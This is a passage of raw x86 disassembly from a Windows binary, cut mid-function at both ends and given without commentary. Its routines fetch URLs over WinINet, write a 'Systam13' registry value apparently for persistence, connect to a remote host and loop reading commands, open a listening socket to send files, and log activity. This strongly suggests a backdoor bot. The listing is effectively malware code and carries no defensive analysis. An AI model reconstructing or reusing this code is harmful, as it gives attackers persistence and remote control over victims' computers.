		call	sub_4159FA
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_40A1D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A291	proc near		; DATA XREF: sub_40D2E0+4974o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_429698
		call	sub_415500
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_415500
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_415500
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_415500
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_415500
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_415C80
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	ds:dword_436370	; InternetCrackUrlA
		test	eax, eax
		jz	loc_40A42B
		cmp	[ebp+var_34], ebx
		jbe	short loc_40A368
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_416D30
		add	esp, 0Ch


loc_40A368:				; CODE XREF: sub_40A291+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_40A386
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_416D30
		add	esp, 0Ch


loc_40A386:				; CODE XREF: sub_40A291+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_40A3A0
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_416D30
		add	esp, 0Ch


loc_40A3A0:				; CODE XREF: sub_40A291+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_40A3BA
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_416D30
		add	esp, 0Ch


loc_40A3BA:				; CODE XREF: sub_40A291+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	ds:dword_436418
		call	ds:dword_43643C	; InternetConnectA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_40A443
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	ds:dword_436430	; HttpOpenRequestA
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_40A44A
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	ds:dword_4363E4	; HttpSendRequestA
		test	eax, eax
		jz	short loc_40A424
		push	offset dword_42966C
		jmp	short loc_40A44F
; ---------------------------------------------------------------------------


loc_40A424:				; CODE XREF: sub_40A291+18Aj
		push	offset unk_429620
		jmp	short loc_40A44F
; ---------------------------------------------------------------------------


loc_40A42B:				; CODE XREF: sub_40A291+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_4295F4
		push	eax
		call	sub_415480
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_40A45D
; ---------------------------------------------------------------------------


loc_40A443:				; CODE XREF: sub_40A291+153j
		push	offset unk_4295B8
		jmp	short loc_40A44F
; ---------------------------------------------------------------------------


loc_40A44A:				; CODE XREF: sub_40A291+17Bj
		push	offset unk_429578


loc_40A44F:				; CODE XREF: sub_40A291+191j
					; sub_40A291+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_415480
		pop	ecx
		pop	ecx


loc_40A45D:				; CODE XREF: sub_40A291+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_40A488
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_40BAE7
		add	esp, 14h


loc_40A488:				; CODE XREF: sub_40A291+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_40A5B3
		pop	ecx
		push	esi
		call	ds:dword_43649C	; InternetCloseHandle
		push	[ebp+var_4]
		call	ds:dword_43649C	; InternetCloseHandle
		push	[ebp+var_1D8]
		call	sub_415248
		pop	ecx
		push	ebx
		call	ds:dword_422044	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_40A291	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A4BB	proc near		; CODE XREF: sub_40D2E0+448Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43B140
		mov	edi, 0B8h


loc_40A4CF:				; CODE XREF: sub_40A4BB+33j
		cmp	byte ptr [esi],	0
		jz	short loc_40A4F2
		push	[ebp+arg_0]
		push	esi
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A4F2
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43BCC0
		jl	short loc_40A4CF
		jmp	short loc_40A534
; ---------------------------------------------------------------------------


loc_40A4F2:				; CODE XREF: sub_40A4BB+17j
					; sub_40A4BB+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43B140[esi]
		push	ebx
		call	sub_415500
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_416D30
		push	9Fh
		lea	eax, dword_43B158[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_416D30
		add	esp, 24h
		inc	ds:dword_42AE8C
		pop	ebx


loc_40A534:				; CODE XREF: sub_40A4BB+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_40A4BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A53B	proc near		; CODE XREF: sub_40D2E0+5B58p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_4296A8
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43B140


loc_40A565:				; CODE XREF: sub_40A53B+72j
		cmp	byte ptr [esi],	0
		jz	short loc_40A5A0
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_42969C
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_4159FA
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 2Ch


loc_40A5A0:				; CODE XREF: sub_40A53B+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43BCC0
		jl	short loc_40A565
		pop	edi
		pop	esi
		leave
		retn
sub_40A53B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5B3	proc near		; CODE XREF: sub_401000+9Ap
					; sub_4010B5+314p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	ds:dword_42205C	; GetLocalTime
		mov	ebx, offset dword_43A834
		mov	edi, 80h
		mov	esi, offset dword_436834


loc_40A5D5:				; CODE XREF: sub_40A5B3+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_40A5EC
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_416D30
		add	esp, 0Ch


loc_40A5EC:				; CODE XREF: sub_40A5B3+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_40A5D5
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_4159FA
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A5B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A627	proc near		; CODE XREF: sub_406224+15Bp
					; sub_4063AC+1AFp ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41751F
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40A5B3
		add	esp, 14h
		leave
		retn
sub_40A627	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A653	proc near		; CODE XREF: sub_40D2E0+5A4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_436834
		xor	ecx, ecx


loc_40A65A:				; CODE XREF: sub_40A653+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_43A834
		jl	short loc_40A65A
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset dword_4296DC
		jnz	short loc_40A68A
		push	ecx
		push	[esp+8+arg_8]
		push	esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_40BAE7
		add	esp, 14h


loc_40A68A:				; CODE XREF: sub_40A653+1Fj
		push	esi
		call	sub_40A5B3
		pop	ecx
		pop	esi
		retn
sub_40A653	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A693	proc near		; DATA XREF: sub_40D2E0+5B02o

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_40A6E6
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_429730
		push	eax
		push	[ebp+var_11C]
		call	sub_40BAE7
		add	esp, 14h


loc_40A6E6:				; CODE XREF: sub_40A693+33j
		cmp	[ebp+var_98], 0
		jz	short loc_40A706
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_4159EF
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_40A706
		mov	[ebp+var_8], eax


loc_40A706:				; CODE XREF: sub_40A693+5Aj
					; sub_40A693+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_436834


loc_40A70F:				; CODE XREF: sub_40A693+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_40A769
		cmp	byte ptr [esi],	0
		jz	short loc_40A758
		cmp	[ebp+var_98], 0
		jz	short loc_40A73E
		cmp	[ebp+var_4], 0
		jnz	short loc_40A73E
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_408FB5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A758


loc_40A73E:				; CODE XREF: sub_40A693+90j
					; sub_40A693+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_40BAE7
		add	esp, 14h


loc_40A758:				; CODE XREF: sub_40A693+87j
					; sub_40A693+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_43A834
		jl	short loc_40A70F


loc_40A769:				; CODE XREF: sub_40A693+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_429704
		push	eax
		call	sub_415480
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_40A7A3
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_40BAE7
		add	esp, 14h


loc_40A7A3:				; CODE XREF: sub_40A693+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_40A5B3
		push	[ebp+var_18]
		call	sub_415248
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_422044	; ExitThread
		pop	edi
		pop	esi
sub_40A693	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7C2	proc near		; CODE XREF: sub_409288+1Ep
					; sub_40CB17+346p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429750
		xor	esi, esi
		mov	ebx, offset aSystam13 ;	"Systam13"


loc_40A7D5:				; CODE XREF: sub_40A7C2+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	ds:dword_43641C	; RegCreateKeyExA
		cmp	[ebp+arg_0], esi
		jz	short loc_40A80F
		push	[ebp+arg_0]
		call	sub_415C80
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	ds:dword_43648C	; RegSetValueExA
		jmp	short loc_40A819
; ---------------------------------------------------------------------------


loc_40A80F:				; CODE XREF: sub_40A7C2+2Fj
		push	ebx
		push	[ebp+var_4]
		call	ds:dword_4363D4	; RegDeleteValueA


loc_40A819:				; CODE XREF: sub_40A7C2+4Bj
		push	[ebp+var_4]
		call	ds:dword_436444	; RegCloseKey
		add	edi, 8
		cmp	edi, offset dword_429768
		jb	short loc_40A7D5
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A832	proc near		; CODE XREF: sub_40A86D+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_40A867
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_40A84B:				; CODE XREF: sub_40A832+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, ds:dword_42227C[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_40A84B
		pop	edi
		pop	ebx


loc_40A867:				; CODE XREF: sub_40A832+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_40A832	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A86D	proc near		; CODE XREF: sub_40B105+24Ap

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_415D2F
		mov	[esp+10h+var_10], offset aRb ; "rb"
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_415B78
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_40A8BC


loc_40A892:				; CODE XREF: sub_40A86D+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_40A8C0
		inc	ebx
		push	ebx
		push	esi
		call	sub_41756F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40A8BC
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_416BA7
		add	esp, 10h
		jmp	short loc_40A892
; ---------------------------------------------------------------------------


loc_40A8BC:				; CODE XREF: sub_40A86D+23j
					; sub_40A86D+39j
		xor	eax, eax
		jmp	short loc_40A8DB
; ---------------------------------------------------------------------------


loc_40A8C0:				; CODE XREF: sub_40A86D+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_40A832
		push	esi
		mov	ebx, eax
		call	sub_415DE1
		push	edi
		call	sub_415AD0
		add	esp, 10h
		mov	eax, ebx


loc_40A8DB:				; CODE XREF: sub_40A86D+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40A86D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A8DF	proc near		; CODE XREF: sub_40A965+33p
					; sub_40AEC8+BCp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	ds:dword_4364E8	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_40A95B
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_415500
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	ds:dword_436468	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	ds:dword_4364A8	; inet_addr
		cmp	eax, esi
		jnz	short loc_40A940
		push	[ebp+arg_0]
		call	ds:dword_4364EC	; gethostbyname
		test	eax, eax
		jz	short loc_40A95B
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_40A940:				; CODE XREF: sub_40A8DF+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	ds:dword_436410	; connect
		cmp	eax, esi
		jnz	short loc_40A95F
		push	edi
		call	ds:dword_436500	; closesocket


loc_40A95B:				; CODE XREF: sub_40A8DF+1Bj
					; sub_40A8DF+58j
		mov	eax, esi
		jmp	short loc_40A961
; ---------------------------------------------------------------------------


loc_40A95F:				; CODE XREF: sub_40A8DF+73j
		mov	eax, edi


loc_40A961:				; CODE XREF: sub_40A8DF+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40A8DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A965	proc near		; DATA XREF: sub_40D2E0+A88o

var_11B4	= byte ptr -11B4h
var_1B4		= byte ptr -1B4h
var_1AC		= byte ptr -1ACh
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	sub_415D00
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1B4]
		rep movsd
		push	1
		pop	esi
		push	[ebp+var_14]
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40A8DF
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40A9F8
		lea	eax, [ebp+var_11B4]
		push	offset dword_4297EC
		push	eax
		call	sub_415480
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40A9DB
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40BAE7
		add	esp, 14h


loc_40A9DB:				; CODE XREF: sub_40A965+59j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40A5B3
		push	[ebp+var_10]
		call	sub_415248
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_422044	; ExitThread


loc_40A9F8:				; CODE XREF: sub_40A965+3Fj
		push	offset byte_4325D8
		push	ebx
		call	sub_409BB2
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40AA63
		lea	eax, [ebp+var_11B4]
		push	offset dword_4297AC
		push	eax
		call	sub_415480
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40AA3F
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40BAE7
		add	esp, 14h


loc_40AA3F:				; CODE XREF: sub_40A965+BDj
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40A5B3
		pop	ecx
		push	ebx
		call	ds:dword_436500	; closesocket
		push	[ebp+var_10]
		call	sub_415248
		pop	ecx
		push	esi
		call	ds:dword_422044	; ExitThread


loc_40AA63:				; CODE XREF: sub_40A965+A3j
		push	64h
		call	ds:dword_422054	; Sleep
		xor	edi, edi
		mov	esi, 1000h


loc_40AA72:				; CODE XREF: sub_40A965+168j
		push	esi
		lea	eax, [ebp+var_11B4]
		push	edi
		push	eax
		call	sub_415500
		add	esp, 0Ch
		lea	eax, [ebp+var_11B4]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	ds:dword_436480	; recv
		test	eax, eax
		jle	short loc_40AACF
		lea	eax, [ebp+var_11B4]
		push	offset asc_425FD0 ; "\n"
		push	eax
		call	sub_415BA0
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40999E
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40AACF
		push	64h
		call	ds:dword_422054	; Sleep
		push	7
		call	sub_415174
		test	eax, eax
		pop	ecx
		jnz	short loc_40AA72


loc_40AACF:				; CODE XREF: sub_40A965+130j
					; sub_40A965+154j
		lea	eax, [ebp+var_11B4]
		push	offset dword_429768
		push	eax
		call	sub_415480
		cmp	[ebp+var_8], edi
		pop	ecx
		pop	ecx
		jnz	short loc_40AB02
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40BAE7
		add	esp, 14h


loc_40AB02:				; CODE XREF: sub_40A965+180j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40A5B3
		pop	ecx
		push	ebx
		call	ds:dword_436500	; closesocket
		push	[ebp+var_10]
		call	sub_415248
		pop	ecx
		push	edi
		call	ds:dword_422044	; ExitThread
sub_40A965	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB26	proc near		; DATA XREF: sub_40D2E0+4A7Co

var_A04		= byte ptr -0A04h
var_604		= byte ptr -604h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_3FC		= byte ptr -3FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1E0		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1FC]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp+var_10], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	ds:dword_4364E8	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_18], edi
		jnz	short loc_40AB74
		push	offset dword_429970
		jmp	loc_40AD2D
; ---------------------------------------------------------------------------


loc_40AB74:				; CODE XREF: sub_40AB26+42j
		push	10h
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
		call	sub_415500
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		push	esi
		call	ds:dword_436468	; htons
		mov	word ptr [ebp+var_2E], ax
		lea	eax, [ebp+var_30]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_2E+2],	esi
		call	ds:dword_436494	; bind
		test	eax, eax
		jz	short loc_40ABB2
		push	offset dword_42993C
		jmp	loc_40AD2D
; ---------------------------------------------------------------------------


loc_40ABB2:				; CODE XREF: sub_40AB26+80j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		push	edi
		call	ds:dword_43640C	; getsockname
		push	[ebp+var_2E]
		call	ds:dword_4363A4	; htons
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_1E0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_415C80
		pop	ecx


loc_40ABE4:				; CODE XREF: sub_40AB26+EFj
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+ecx+var_1E0]
		cmp	al, 20h
		jnz	short loc_40ABF7
		push	5Fh
		pop	eax
		jmp	short loc_40ABFA
; ---------------------------------------------------------------------------


loc_40ABF7:				; CODE XREF: sub_40AB26+CAj
		movsx	eax, al


loc_40ABFA:				; CODE XREF: sub_40AB26+CFj
		mov	[ebp+ecx+var_604], al
		lea	eax, [ebp+var_1E0]
		inc	ecx
		push	eax
		mov	[ebp+arg_0], ecx
		call	sub_415C80
		cmp	[ebp+arg_0], eax
		pop	ecx
		jbe	short loc_40ABE4
		push	ebx
		push	edi
		call	ds:dword_436490	; listen
		test	eax, eax
		jz	short loc_40AC2D
		push	offset dword_4297EC
		jmp	loc_40AD2D
; ---------------------------------------------------------------------------


loc_40AC2D:				; CODE XREF: sub_40AB26+FBj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp+var_1E0]
		push	80000000h
		push	eax
		call	ds:off_42207C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_40AC57
		push	offset dword_42990C
		jmp	loc_40AD2D
; ---------------------------------------------------------------------------


loc_40AC57:				; CODE XREF: sub_40AB26+125j
		push	esi
		push	eax
		call	ds:off_422078
		mov	[ebp+arg_0], eax
		push	eax
		movzx	eax, word ptr [ebp+var_4]
		push	eax
		push	[ebp+var_1FC]
		call	sub_409526
		pop	ecx
		push	eax
		call	ds:dword_4364A8	; inet_addr
		push	eax
		call	ds:dword_436464	; htonl
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_4298F4
		push	eax
		call	sub_415480
		push	esi
		lea	eax, [ebp+var_3FC]
		push	esi
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40BAE7
		add	esp, 2Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_38], 3Ch
		mov	[ebp+var_34], esi
		push	eax
		push	esi
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_4FC], edi
		mov	[ebp+var_500], ebx
		call	ds:dword_436450	; select
		test	eax, eax
		jg	short loc_40AD07
